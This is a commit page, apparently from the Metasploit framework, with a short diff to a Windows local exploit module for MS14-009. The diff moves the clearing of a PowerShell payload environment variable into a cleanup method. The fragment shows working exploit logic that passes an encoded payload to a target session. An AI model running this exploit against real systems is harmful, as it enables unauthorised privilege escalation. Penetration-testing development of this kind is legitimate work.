Skip to content

Commit 43699b1

Browse files
committed
Don't clean env variable before using it
1 parent b8a2cf7 commit 43699b1

File tree

1 file changed

+5
-3
lines changed

1 file changed

+5
-3
lines changed

modules/exploits/windows/local/ms14_009_ie_dfsvc.rb

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -151,7 +151,6 @@ def exploit
151151
print_good(".NET looks vulnerable, exploiting...")
152152

153153
cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip
154-
print_status cmd
155154
session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", cmd)
156155

157156
temp = get_env('TEMP')
@@ -165,8 +164,6 @@ def exploit
165164
'Extension' => false,
166165
'SaveToDisk' => false
167166
)
168-
169-
session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", nil)
170167
end
171168

172169
def valid_mscorlib_version?(net_version, mscorlib_version)
@@ -191,5 +188,10 @@ def valid_mscorlib_version?(net_version, mscorlib_version)
191188
valid
192189
end
193190

191+
def cleanup
192+
session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", nil)
193+
super
194+
end
195+
194196
end
195197

0 commit comments

Comments
 (0)